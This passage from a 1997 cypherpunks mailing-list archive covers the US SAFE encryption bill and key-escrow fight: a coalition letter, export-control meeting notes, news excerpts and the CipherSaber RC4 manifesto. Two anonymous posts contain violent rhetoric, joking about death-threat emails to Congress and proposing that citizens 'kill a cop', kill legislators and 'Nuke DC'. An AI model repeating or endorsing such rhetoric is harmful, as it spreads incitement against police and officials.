want to profit from illicitly gained information. (See the
May 1996 report of the National Research Council.) A
mother, for example, arranging to pick up her child at day
care ought not have the safety of those arrangements
jeopardized by the Oxley-Manton backdoor breech in
security.

OXLEY-MANTON IGNORES THE FACT THAT LAW ENFORCEMENT IS NOT
PERFECT.

The Oxley-Manton amendment and the other proposals neglect
the fact that law enforcement agencies are human
institutions with some of their people subject to the
frailties common to human nature ñ prejudice, avarice,
arrogance and abuse of power. We need only to recall the
documented abuses of federal agents at Ruby Ridge, in
Filegate, in surveilling civil rights and religious
leaders, in harassing honest taxpayers and law-abiding
businesses ñ as well as those established instances of
police abuse at the local level ñ to understand that
placing unprecedented power in the hands of law enforcement
to violate the peopleís privacy is extremely dangerous.

OXLEY-MANTON MAKES ORDINARY AMERICANS THE SERVANTS OF THE
STATE.

At the core of American political values is the fundamental
concept that individual Americans have certain rights and
that governments are instituted, in the words of the
Declaration of Independence, "to secure these rights." As a
free people, Americans are the masters -- not the servants
-- of the state. Indeed, our constitutional system is
founded on the principle that the people have certain
rights that cannot be violated. The Oxley-Manton amendment
and the other proposals reverse this relationship, making
the governmentís appetite for spying on its citizens the
number one priority while requiring that ordinary Americans
constrict their lives, the protection for their families
and businesses,  in order to accommodate government
surveillance.  In doing so, the Oxley-Manton amendment and
the other proposals betray the essential values of our
democracy.

CONCLUSION

We urge you to stand up for the privacy and security of
Americans by opposing any and all of the provisions of the
Oxley-Manton amendment, the other amendments cited, the
McCain-Kerrey bill and any provision requiring or fostering
the development of a key recovery regime even if presented
initially as "voluntary."  We also urge you to reject any
so-called "compromise" based in whole or part on these
proposals.   Finally, we urge the removal of the
criminalization provision in H.R. 695, the SAFE bill.

Sincerely,

American Civil Liberties Union
Americans for Tax Reform
Eagle Forum
Electronic Privacy Information Center
Privacy International
United States Privacy Council


For more information, please contact:

Donald Haines, Legislative Counsel, American Civil Liberties Union,
202/675-2322; privaclu@aol.com.

James P. Lucier, Jr., Director of Economic Research, Americans for Tax
Reform, 202/785-0266;          lucier@atr.org.

Kris Ardizzone, Executive Director, Eagle Forum, 202/544-0353;
eagleforum@aol.com

David Sobel, Legal Counsel, Electronic Privacy Information Center,
202/544-9240; sobel@epic.org.

===

[An example of how hard the FBI is pressing encryption in the last few
hours before today's vote. This news conference was at 10:30 am today.
--Declan]

WASHINGTON (AP) - Armed with a sealed indictment, U.S.
officials stepped up the pressure today on Mexico's
most violent drug kingpin by offering a $2 million
reward and adding him to the FBI's most wanted list.

Ramon Arellano Felix, 33, the head of security for a
gang run by five brothers, is charged with drug
conspiracy and smuggling in a sealed federal
indictment in San Diego, FBI Director Louis J. Freeh
told a news conference.

[...]

Freeh used the news conference to push legislation,
now before a House committee, giving his agents access
to the keys to commercial encryption devices and
software used to scramble telephone conversations and
computer transmissions. "If a workable national
solution to the encryption problem is not enacted
soon," Freeh said, "we simply will loose our most
effective tool with respect to drug interdiction."

Constantine said in the last 18 months Mexican gangs
have increasingly used encryption, "purchased off the
shelf" in the United States, that is capable of
shielding their communications from most law
enforcement eavesdropping. "If their encryption
succeeds, we would never be able to find out who is in
charge of these organizations," Constantine said.

[...]

===

	NATIONAL PRESS CLUB MORNING NEWSMAKER
	SIR LEON BRITTAN, VICE PRESIDENT OF THE EUROPEAN COMMISSION
	NATIONAL PRESS CLUB
	WEDNESDAY, SEPTEMBER 24, 1997

	Q     On the electronic commerce issue, is there a likelihood
	there will be a common position on encryption controls of exports,

        imports?

	SIR LEON:  Well, all of these things are currently the subject of
	discussion, and I think it's premature to say where it will end up.

===




-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 25 Sep 1997 05:40:06 +0800
To: cypherpunks@Algebra.COM
Subject: SAFE = Security and Fascism through Escrow
Message-ID: <v03102801b04f3763977b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




As our Big Brothers in D.C. continue to abuse the language by taking SAFE
in a direction 180 degrees from the original intentions, it seems only fair
that we rename the bill the Security and Fascism through Escrow Bill.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 25 Sep 1997 05:56:00 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Congress & Crypto: "No compromise" coalition letter
In-Reply-To: <v03007807b04f0b016319@[168.161.105.141]>
Message-ID: <v03102800b04f35d439ae@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:24 AM -0700 9/24/97, Declan McCullagh wrote:
\
>[An example of how hard the FBI is pressing encryption in the last few
>hours before today's vote. This news conference was at 10:30 am today.
>--Declan]

>Freeh used the news conference to push legislation,
>now before a House committee, giving his agents access
>to the keys to commercial encryption devices and
>software used to scramble telephone conversations and
>computer transmissions. "If a workable national
>solution to the encryption problem is not enacted
>soon," Freeh said, "we simply will loose our most
>effective tool with respect to drug interdiction."

Yes, we will "loose" some powerful tools. (Spelling flames aside, this use
of "loose" when "lose" is meant is becoming incredibly common on the Net. I
don't know who made this "loose" error, or if was just an honest typo.)

More importantly, just how does Freeh think the SAFE bill, with amendments
seen so far, will affect the tens of thousands of already bought or
downloaded encryption pacakages, or the dozens or perhaps hundreds or more
"secure telephones" already sold by ComSec and others? Unless these are
banned in _use_, and even lending them becomes a felony, and other even
more draconian laws are passed, there will be a never-exhausted supply of
strong crypto for many years to come.

Hey, maybe I could sell my 3DES secure phone for quite a tidy profit? (Yes,
such a sale would technically be illegal under SAFE (Security and Fascism
through Escrow), so the idea, if I want to not violate the law, will be to
let them "use" my machine. Nothing against this in the amendments I've
seen.)

But we all know that the next iteration will ban use.

"Use a random number, go to jail." (I think this was from E. Hughes.)

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Thu, 25 Sep 1997 05:53:08 +0800
To: ukcrypto@maillist.ox.ac.uk
Subject: BXA TAC meeting in Portland yesterday
Message-ID: <3.0.3.32.19970924143912.00a733c0@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain




As noted previously by John Young <http://www.jya.com/bxa082597.htm>, the
Department of Commerce's Bureau of Export Administration's Technical
Advisory Committee held a meeting yesterday in Portland, OR. C2Net paid for
me to fly up to Portland and attend the meeting. The following are notes re
what happened -

It was difficult to determine precisely who is on the Committee and who
isn't; the meeting room had a table with seats for (approx) 15 people; at
that table were seated approx. 10 people who were representing
hardware/software manufacturers, law firms, 2 people from BXA, two "special
guests" from European companies (whose names I didn't recognize), and two
"special guests" from Japanese companies - Susumi Hirai for Sony, and
Kobashi Toduchi for NEC. (apologies for the spelling re Japanese names,
those are my guesses at the correct spellings, but I bet they're wrong.)
There were seats in an "audience section" for another 30 people, all of
which were occupied. Among the companies represented (either in the
audience or on the committee) were Tektronix, Boeing, Dept of Energy,
Motorola, Intel, Rockwell, Novell, McDonnell-Douglas, Boeing, Cisco, and
Sun, and C2Net. The attorney who spoke at a Cypherpunks meeting this spring
re export control was there, don't know if he was there on behalf of PGP
and/or other clients. (arrgh, didn't write his name down because I
remembered it, now I can't remember it.) There was an attorney representing
a consortium of manufacturers.

The meeting opened with a short summary/discussion of current events - this
part produced the most information relevant to crypto and export control
issues. Eileen at BXA (didn't get her last name), who seems to be in charge
of drafting regulations and granting/denying export licenses, said that
they've been slow recently re actions on crypto-related licenses because
they're understaffed, but they have recently hired 10 people to process
crypto-related applications, 8 of whom are in public-contact positions. She
said that they don't have a technical background, but are considered policy
analysts; that they've been receiving technical training from "other
agencies", but their technical training (and their ability to get straight
to work) has been hampered by the slowness of getting security clearances
for them. 2 of the 10 have already been cleared/approved. She said that
they've been learning about the "history of encryption". The public-contact
positions will each handle a section of the alphabet - so, for example, the
first person will handle export applications from individuals/companies
with names starting from A through F, and so on.

Eileen said that they have been circulating a new draft of encryption
regulations relating to/concerning financial institutions; a draft of it
was apparently circulated (I think) to a closed-session meeting of the
Committee previously. One of the committee members asked her for a ballpark
estimate of the date when those regs will be released for public comment,
and she deferred, saying that there were "so many agencies" that had to
look at them that it was too difficult to guess. Apparently, the most
difficult/controversial part of these regulations concerns the definition
of a financial institution (FI); she said that they've been granting
licenses to applicants who are clearly FI's, and that organizations who
think that they might qualify as an FI should write to BXA and request an
advisory letter or opinion letter about whether or not they qualify.

She also said that they've been drafting and circulating export regulations
designed to implement the Wassenaar Arrangement; they've been circulating
inter-agency. She said that they anticipate having the final draft finished
at the end of this week or the beginning of next week, at which point it'll
be sent to the Federal Register for publication; and that FR publication
will take 2 more weeks, so these ought to be available to the public
sometime in mid-October.

She also noted that BXA has been relatively inactive with respect to
enforcement actions re cryptography, but that the enforcement/compliance
section of BXA has also made new hires, and that they anticipate ramping up
enforcement. 5-6 people from the enforcement section were at the meeting
(turns out I sat right next to them) but they all left at 10 AM for another
meeting - among them a DOC/BXA attorney I recognized from the Bernstein
hearings.

After that, the committee spent approx. 2 hours discussing nonproliferation
controls (related to nuclear/biological/chemical weapons) - I didn't bother
with a lot of notes about that, since it's not especially interesting to me
right now. There was a lot of discussion about how difficult it is to
determine whether or not an export is allowed or not - as I understand the
regs it's not permissible to export *anything* which will be used in aid of
producing N/B/C weapons, even otherwise unassuming things like lightbulbs
or ballpoint pens or carpeting or whatever. (I don't know much about this
area of export law, so please don't take my impressions as especially
informative, haven't done reading/research re this and I may be full of
shit. caveat emptor.) Everyone who doesn't work for the government
expressed frustration re the difficulty of figuring out how much effort
they need to put into tracking down the ultimate user(s) and purpose(s) of
otherwise innocuous exports - the BXA folks weren't very helpful, pointing
out that they're going to exercise their discretion not to enforce/punish
exporters who really weren't at fault, but that there were no hard and fast
rules available, either. The discussion here reminded me very much of
recent testimony by the Commerce Dept before Congress - they're more
concerned with intelligence (collecting data re who's buying what, in what
quantities, and when) than they are with preventing people from gaining
access to goods. 

There was also some discussion about foreign implementations of crypto
export controls and Wassenaar - apparently Jim Lewis (the name isn't
familiar to me) and David Aaron are currently in London, lobbying re crypto
export control/key escrow, and a delegation will go to France, Bonn, and
Tel Aviv later this month on a similar mission.

One speaker said that he expects the UK to adopt controls re "intangible"
items - by this he seemed to mean control over the export of "technical
data" and "technical assistance" related to controlled items, similar to
the US' control over providing data/information/assistance to foreigners
related to export-controlled items. It was also noted that there are a lot
of "informal contacts" in the UK between universities and employers and the
visa office, such that the UK has been able to control some access by
foreign people to technical data and information, by refusing them a visa
or otherwise making their desires clear to the people in the UK who they
expect would have contact with the foreign person.

Re Japan, it was noted that Japan began enforcing much stricter export
controls at the end of 1996, shortly after NTI developed a 3DES chip; MITI
(Japan's "technology" ministry? perhaps someone can provide more data here)
has concluded that exports of crypto stronger than 56 bits should be
subject to strict export control. Japan does not have a "general license"
scheme, whereby some products are generally considered eligible for export,
which would apply to crypto - apparently all exports equire a license.
About 100 Japanese companies have applied for or been granted (couldn't
tell from the context) export licenses for crypto. Japan does not have
special "financial institution" exceptions to its crypto export control
laws; but it does implement the "mass market software" exception for crypto
which is part of the Wassenaar Arrangement.

There was some discussion re crypto export control in the EU; the speakers
noted that crypto control laws apply to GSM phones, which (potentially)
would have made them non-portable across national borders, which everyone
(including governments) thought was a stupid result, so GSM phones are
(formally? informally? couldn't tell) exempt from the export control laws.
Similarly, it is now legal to have/use crypto on a laptop for personal use;
at one time, this was not the case, but large companies' policy was that
crypto should be used anyway, regardless of the export control laws. EU
countries are also (apparently) writing the "mass market software"
exception to the WA's control over crypto into their regulations; one
speaker commented that the EU countries are "working on" key recovery. (the
term used was "key escrow").

The consensus of the speakers seemed to be that the TTP/key escrow draft
legislation for the UK is effectively dead, due to the shift in power to
Labor. It was also noted that the Walsh Report re crypto in Australia
recommends that purchasers of crypto equipment in Australia avoid depending
solely on US-based sources for crypto, because of the danger that the US
may implement mandatory key recovery.

I'm on the mailing list to get formal minutes from the meeting, but that
can apparently take up to 90 days. The next meeting will be 12/9/97 in D.C..


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | Export jobs, not crypto.
http://www.io.com/~gbroiles | http://www.parrhesia.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 25 Sep 1997 01:53:50 +0800
To: cypherpunks@toad.com
Subject: CypherPunk Action Project #128
Message-ID: <199709241249.OAA07869@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Write a decent ISP monitoring tool and send it to all LEA's so that
they don't FOOBAR my ISP and my account everytime they shit their cute
little panties when I send out my !!!DEATH THREAT!!! emails to Congress
(and a President to be named later).

Or, in the alternative:
Support GAK and VHM (Video Home Monitoring) on the condition that they
let CypherPunks write the code so that we can at least keep the system
functioning smoothly until they come for us.
('Old saying' of the future:
 "When Kent Crispin was Fuhrer, the email ran on time." )





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 25 Sep 1997 02:03:08 +0800
To: cypherpunks@toad.com
Subject: Not that I'm a troublemaker...
Message-ID: <199709241326.PAA11091@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



To: senator@kennedy.senate.gov
From: HugeCajones Remailer<hc@dev.null>
Subject: !!! DEATH THREAT !!!
...
[I apologize if you have received this email in error. If you do not
 wish to receive further email from the Electronic Forgery Foundation
 then please send an email to "cypherpunks@toad.com" with a Subject
 heading that says, "I Voted For Strong Crypto!"]

You should be careful before you do foolish things like making a death
threat because it can have really bad results.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: A Player To Be Named Later <aptbnl@dev.null>
Date: Thu, 25 Sep 1997 05:53:27 +0800
To: Declan McCullagh <declan@well.com>
Subject: Kill a Cop--Save a Child / Re: Update from the House Commerce Committee hearing room
In-Reply-To: <v03007800b04f2a69a77b@[168.161.105.141]>
Message-ID: <342986AA.1389@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:

> Law enforcement arguments
> about pedophiles generally trump discussions of privacy rights.

  The problem seems to be that LEA's are full to the brim with 
incompetent officers who are incapable of enforcing the laws of
the land without violating the citizen's Constitutional rights.
  The solution? Make room in the LEA's for people who *are* 
capable of doing so.

  The US has more of their citizen-units in prison than most of the
'bad' countries that they claim to be protecting us from, yet they
turn around and tell us that, despite the mountains of our cash they
are demanding to keep their protection racket going, that they cannot
protect our children from the great hordes of child molesters and
drug czars who are running free while they spend their time arresting
grandmothers who are putting money in parking meters and confiscating
the vehicles of other grandmothers who have a joint in their car.

  Let me get this straight...
  These dweebs are capable of finding a single joint in a vehicle
travelling amoung thousands of others on the freeway, but they are
incapable of finding a ton of cocaine in an airport with less than
a hundred planes in it?
  These idiots need to be able to invade *everyone's* privacy in
order to catch the millions of pedophiles lurking on the InterNet,
but they can't catch them *now* when it is likely that hardly
any of them know squat about strong encryption?

  Why are the LEA's salaries not tied directly to the price of drugs
on the street? Because, with the price of heroin at a record low for
the decade, then these thieving fucks would be making less than the
minimum wage!

  How about a new system of LEA payments, etc., that is based on
*results*?
  Low drug prices, low LEA salaries. If you are victimized by a
criminal, you get to kill 1 cop. If you are victimized by a cop,
you get to kill 1 politician. If you are victimized by a politician,
you get to Nuke DC!
  "Do you feel lucky, Mr. President? Well...do you?"

> FBI director Louis Freeh, DEO head Thomas Constantine, and Raymond Kelley
> (undersecretary for enforcement, Treasury Department) also sent a letter
> earlier today to the Commerce Committee endorsing Oxley's amendment "on
> behalf of the entire law enforcement community."
> 
> They don't seem to be exaggerating. The International Association of Chiefs
> of Police on September 22 said just that. So did the National Sherrifs'
> Association yesterday. And the National District Attorneys Association on
> September 19. And the Major Cities Chiefs on September 23. Plus a few state
> police associations.

  Uuhhh...are these the guys who can't understand what the crack dealers
are saying?
  Is there a "use of Ebonics in the commission of a crime" provision in
the Oxhead amendment?

  I'm willing to compromise. We hand over our secret keys on the 
condition that if a single key, anywhere in the world, is compromised
by their system, we get to kill every legislator who voted for GAK.
  This, in itself, is likely to result in the elimination, in one 
single year, of more drug dealers and pedophiles than would result
from a hundred years of GAK.

  On the other hand, I am willing to admit that GAK might prove useful
for saving lives in other countries that need to track the activities
of US Foreign-Law Breaking Agencies who are murdering their citizens
by slipping bad components into their imported parts and supplies.

  These fuckers are all crazy...

A Player To Be Named Later





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Thu, 25 Sep 1997 04:05:43 +0800
To: cypherpunks@cyberpass.net
Subject: NYT cybertimes article excerpt.
Message-ID: <199709241952.MAA24736@rigel.cyberpass.net>
MIME-Version: 1.0
Content-Type: text/plain



quoted without permission - I think this is
fair use...

btw, the NY Times site is pretty good. While a
registration and email address are needed, I have
not seen any sign of abuse of this information (yet).

-----------------------------------------
start quote

          In fact, Kerrey's legislation could easily create the largest
          bureaucracy ever -- by
          some estimates requiring more record keeping than all the
          states' departments of motor vehicles, the Internal Revenue
          Service and the various welfare agencies combined. While no
          one knows how Congress or the FBI intends to carry out
          key-recovery legislation, it is entirely possible that
          anyone installing a piece of software on a hard drive will
          need to register it like people now register a car with the
          Department of Motor Vehicles. 

          While most people own only one car and file only one tax
          return a year, many computer users have multiple copies of
          programs like Quicken, Notes or Power Point. Each could
          require a separate registration if it includes encryption
          features -- and many users will be shocked to discover what
          qualifies as encryption, which is becoming increasingly
          common even in trivial programs like games because it is a
          good way to regulate copyright infringement. 

[...]

          One Congressional staff member who participated in drafting the
          legislation but asked not to be identified
          conceded that the bill would force developers of new
          software to seek approval for their products from the United
          States government even if the products did not explicitly
          include encryption features. Such approval would be the only
->        way to escape prosecution, he said. While admitting that
->        this language would add a six- to nine-month delay in
->        releasing new products, the staff member asserted that the
->        computer industry would simply have to build this time into
->        product development cycles. 


end quote
--------------------------------------

This "Congressional staff member" is clearly a ninth-dan black belt
ninja of cluelessness. Add 6-9 months to SW development cycles?
Prior restraint on SW publication? The mind boggles. 

Anyone who maintains that the convenience of law enforcement should 
be the over-riding factor in the organization of our society has, 
in my opinion, lost the right to call themselves an "American."


Peter Trei
trei@process.com

DISCLAIMER: My opinons. No one elses.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Arnold G. Reinhold" <reinhold@world.std.com>
Date: Thu, 25 Sep 1997 04:21:39 +0800
To: cypherpunks@Algebra.COM
Subject: The CipherSaber Manifesto
Message-ID: <v03110700b04f22e9b525@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In George Lucas' Star Wars trilogy, Jedi Knights were expected to make
their own Light Sabers. The message was clear: a warrior confronted by
a powerful empire bent on totalitarian control must be self-reliant.
As we face a real threat of a ban on the distribution of strong
cryptography -- in the United States and possibly world-wide -- we
must emulate the Jedi masters by teaching people how to build strong
cryptography programs all by themselves. If this can be done, strong
cryptography will become impossible to suppress.

While cryptographers like to wallow in the complexity of their art,
the basic elements of a strong cryptographic system are quite simple
and well known in the programming community. By choosing a simple but
strong cipher that is already widely published and agreeing on how to
use it, anyone with elementary programming skills will be able to
write their own program without relying on any products that can be
banned.

CipherSaber-1 (CS1) uses Ron Rivest's RC4 algorithm as published in
the second edition of Bruce Schneier's Applied Cryptography. RC4 is
widely respected and used in a number of products, including SSL. With
a long enough key RC4 is considered strong and it is also
extraordinarily easy to explain and to reproduce. As Schneier says,
"The algorithm is so simple that most programmers can quickly code it
from memory." Implementations of RC4 are available on the Internet but
it is actually easier to write your own version.

The legal status of RC4 is the subject of some controversy. The RSA
division of Security Dynamics still considers RC4 confidential and
proprietary. It is not patented and, to the extent that Schneier is
correct (and no one doubts him), it is not confidential. However,
anyone wishing to build a commercial product using CipherSaber might
find it cost-effective, as well as polite, to obtain a license from
RSA. Apologies to Prof. Rivest for suggesting individuals use his
invention without his consent. If there were another strong algorithm
so singularly suitable, CipherSaber would have used it.

CipherSaber-1 is a symmetric-key file encryption system. Messaging
takes place by attaching binary files to e-mail. Because CipherSaber
uses a stream cipher, an initialization vector must be used to prevent
the same cipher key from being used twice. In encrypted CipherSaber-1
files, a ten byte initialization vector precedes the coded data. For
decryption, the initialization vector is read from the file and
appended to the user key before the key setup step.

CipherSaber-1 can be implemented in 16 lines of QBasic (38 individual
Basic statements). The source code is short enough for tee-shirts and
coffee mugs. But there is no need to distribute source code at all.
CipherSaber can be passed on by oral tradition, if necessary.

Soapbox

The U.S. Congress is considering legislation that would ban the
domestic distribution of cryptographic products that do not provide
for immediate government access to the plaintext of messages. This
government access must be possible without the consent or even the
knowledge of the message{s sender or recipient. The stated intent is
to protect us from criminals and terrorists.

The simplicity of CipherSaber should prove once and for all that the
criminals and terrorists of this world will not be deprived of strong
cryptography simply because the distribution of unapproved products is
banned. They can get the necessary technology to make their own from
existing publications whenever they feel they need it.

Another goal of CipherSaber is to demonstrate that strong cryptography
cannot be banned without severe restrictions on freedom of speech.
Banning the sale of a complex computer program or even the
multi-volume printed edition of PGP source code may seem acceptable to
many people. Banning the simple instructions needed for CipherSaber
will require the starkest abridgment of the First Amendment.

Finally, CipherSaber can be a useful pedagogical tool, helping to
educate students by presenting them with a real-world programming
problem that has both technical and ethical dimensions. Teachers of
computer science and authors of books on programming should consider
including CipherSaber as an exercise in their courses and texts.

CipherSaber in some sense parallels the time honored doctrine of jury
nullification, where jurors simply refuse to convict persons of
violating laws that the jurors determine are unreasonable or unjust.
Similarly technologists may take lawful steps as individuals to
prevent their work from being used to build a totalitarian
infrastructure. It is not that the present U.S. Government is evil --
it may well be the most benign government in history. But once the
technology for totalitarian control is in place, this or any
government will inexorably use it more and more. And that technology
is coming together with alarming rapidity. George Orwell{s novel 1984
is not science fiction, it is just one more high tech product plan
that missed its original delivery date.

So what is CipherSaber?

CipherSaber-1 is a  simple use of existing technology:

1. The encryption algorithm is RC4 as published in the beginning of
Chapter 17 of Applied Cryptography, Second Edition, by Bruce Schneier,
 John Wiley & Sons, New York, 1996. RC4 is on page 397 in the English
edition, ISBN 0-471-11709-9.

2. Each encrypted file consists of a ten byte initialization vector
followed by the cipher text.
A new random ten byte initialization vector should be created each
time encryption is performed.

3. The cipher key, the array K(i) in Schneier's notation, consists of
the user key, in the form of an Ascii text string, followed by the
initialization vector.

The above is all a programmer needs to know in order to write a
program that can encipher and decipher CipherSaber-1 files.

Explanation of CipherSaber-1 features

The user key is a text string, rather than a hex value, because humans
are more likely to be able to memorize a text string with sufficient
entropy. To leave room for the initialization vector, the length of
the user key must be less than 246 bytes. A user key with a minimum of
15 random letters or 6 short words selected at random from a
dictionary should be used for medium security (70 bit entropy).  For
higher security use 20 random letters or seven random words. (90 bit
entropy).

Any unique values can be used for initialization vector, but use of
random values makes encrypted files indistinguishable from random
noise. Note that the initialization vector is not kept secret. The
random number generation used to make the initialization vector does
not have to be particularly strong. The "rand" functions in most
programming environments will suffice for a moderate number of
messages, provided the function is seeded in some non-deterministic
way, such as using the system clock.

For file encryption, a user need only memorize one key or passphrase.
For messaging, users need to exchange pairs of keys through some
secure means, most likely in person. Maintaining a list of
correspondent{s keys or passphrases in a master file, preferably
encrypted, is less convenient than public key encryption. But it may
be all that is left in a few years if PGP key servers are banned.

It may even be possible to teach a manual version of the
Diffie-Hellman key exchange, perhaps using large number calculators
(easily built in Java 1.1). The D-H procedure need be carried out just
once per pair of correspondents, since CipherSaber eliminates the need
to exchange keys for every message.

Users can, of course, add features of their own to CipherSaber
programs. For example a secure diary system that stored files in
CipherSaber would be easy to write in Java or Visual Basic. However it
is important to keep CipherSaber itself simple so everyone can write a
program that will read and write CipherSaber files.

CipherSaber programs can be easily written in almost any programming
language. The Basic language, which used to come with all DOS based
computers, is suitable. It can still be found on the Windows {95
CD-ROM in the OTHER\OLDMSDOS directory. Just copy QBASIC.EXE and
QBASIC.HLP to your hard drive{s DOS directory and you can start
programming. Macintosh users can download the free Chipmunk Basic
interpreter from the Internet. Begin by writing a program that can
copy binary files byte by byte and then test it thoroughly before you
add the encryption algorithm.

Become a CipherKnight

To popularize CipherSaber, a "gif" file, encrypted using CipherSaber,
has been posted on the Internet at
http://ciphersaber.gurus.com/cknight.cs1 This file, when decoded, can
be printed as a CipherKnight wall certificate. The certificate may be
displayed by persons who met certain criteria, including writing the
program that decrypted the certificates. Here are the
honor-system-enforced rules:

CipherKnight requirements

1. Write you own CipherSaber program.
2. Write a letter to your political representative expressing your
opinion (whatever it may be) of the proposed ban on the distribution
of strong cryptography within the United States.
3. Download and install PGP,  generate a key pair and post it to a
public key server.
4. Use a CipherSaber to send an secret message to another person.
5. Decrypt and print the CipherSaber wall certificate using the
CipherSaber program you wrote yourself. The key is: "ThomasJefferson"

Any of the eligibility requirements above is waved if it illegal in
the applicant's local jurisdiction or if the applicant reasonably
believes carrying it out would place him or her in danger.

Test Files

The following files are provided on the CipherSaber web site,
http://ciphersaber.gurus.com, to help you check your work.

cstest1.cs1
This is a short text file encrypted with "asdfg" as the user key. Here
are the contents of cstest1.cs1 in hex, in case you cannot download
the file for some reason:
6f 6d 0b ab f3 aa 67 19 03 15 30 ed b6 77 ca 74 e0 08 9d d0
e7 b8 85 43 56 bb 14 48 e3 7c db ef e7 f3 a8 4f 4f 5f b3 fd

cstest2.cs1
This text file was CipherSaber-1 encrypted with the key
"SecretMessageforCongress" Remember that keys are case sensitive.

cknight.cs1
This file is encrypted with the key "ThomasJefferson" It contains your
CipherKnight wall certificate as a .gif file.

chalng.cs1
chalng.cs1 is a text file encrypted with CipherSaber-1 and a secret
key. A reward of $100 will be paid to anyone who can decipher this
file.

Spread the Word

"It is the common fate of the indolent to see their rights become prey
to the active. The condition upon which God hath given liberty to man
is eternal vigilance."
John Philpot Curran, 1790

Even if the proposed ban on strong cryptography does not become law
this year, it is important that CipherSaber be distributed as widely
as possible throughout North America. Please help in any legal way you
can.


Arnold G. Reinhold
Cambridge, Massachusetts
arnold@iecc.com
http://ciphersaber.gurus.com
September 23, 1997

- ------------------------------------------
Ascii key+  ||  08d0a5d961603380e2949d682c
10 Byte IV  ||  bfe8da5c1dec3aba9725d4f689
Ron's No.4  ||  40761763d4d38935e8bd8a44bf
All u need ==== 4656a7bd7f9ae5d082a30cdfa7
CipherSaber ||  f21a918d29c5917956d0468eaf
- ------------------------------------------

Legal Notice

CipherSaber programs may be subject to export controls in the United
States, and many other countries and may be illegal altogether in some
countries. Persons within the United States should not give copies of
CipherSaber programs to foreign nationals, except for Canadian
citizens, without a license. Persons traveling to other countries
should familiarize themselves with local regulations. Consult a lawyer
if you need legal advice.

See the CipherSaber web site http://ciphersaber.gurus.com for
additional notices.

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Version: PGP for Personal Privacy 5.0
Charset: noconv

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31yhKDmXFd8Ka9bss+HDwLSvMynigs/JmxzbGfVTc+Z1y5BqaqTqGcLcjHeEBnwb
IVzLg9MsPs1MNytFpbay7m7ZKdGgbN4hIhM6kMF959Wk8oFeGfEDGWaC1/2GEJKt
KHjU43k/A44=
=bIlj
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 25 Sep 1997 05:14:06 +0800
To: cypherpunks@toad.com
Subject: Update from the House Commerce Committee hearing room
Message-ID: <v03007800b04f2a69a77b@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



I'm sitting on the steps of the Rayburn House office building right now
waiting for the committee to resume deliberations on the SAFE encryption
bill. They've adjourned to vote on unrelated legislation on the House floor.

Right now it seems as though votes are split between Rep. White's
"compromise" legislation (that includes a cash payoff to the FBI and
doubling of crypto-in-a-crime penalties while relaxing some export rules)
and Rep. Oxley's proposal that includes domestic controls on encryption. If
I had to bet, though, I'd put my money on Oxley. Law enforcement arguments
about pedophiles generally trump discussions of privacy rights.

If White's proposal fails and Oxley's goes through, industry groups are
hoping they can keep themselves from being entirely screwed by pushing
through a third amendment that apparently would replace SAFE entirely with
a five-month study. (But who would appoint the people conducting the study?
Law enforcement? It's unclear.)

Rep. Solomon, chair of the powerful House Rules committee -- through which
SAFE must pass before it gets to the floor -- earlier today circulated a
letter asking members to support the Oxley amendment. "If this language is
not incorporated into the bill, as the Chairman of the House Rules
Committee I will not move the bill to the floor!" it says.

FBI director Louis Freeh, DEO head Thomas Constantine, and Raymond Kelley
(undersecretary for enforcement, Treasury Department) also sent a letter
earlier today to the Commerce Committee endorsing Oxley's amendment "on
behalf of the entire law enforcement community."

They don't seem to be exaggerating. The International Association of Chiefs
of Police on September 22 said just that. So did the National Sherrifs'
Association yesterday. And the National District Attorneys Association on
September 19. And the Major Cities Chiefs on September 23. Plus a few state
police associations.

More soon...

-Declan


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Thu, 25 Sep 1997 08:57:32 +0800
To: cypherpunks@cyberpass.net
Subject: Re: bombs
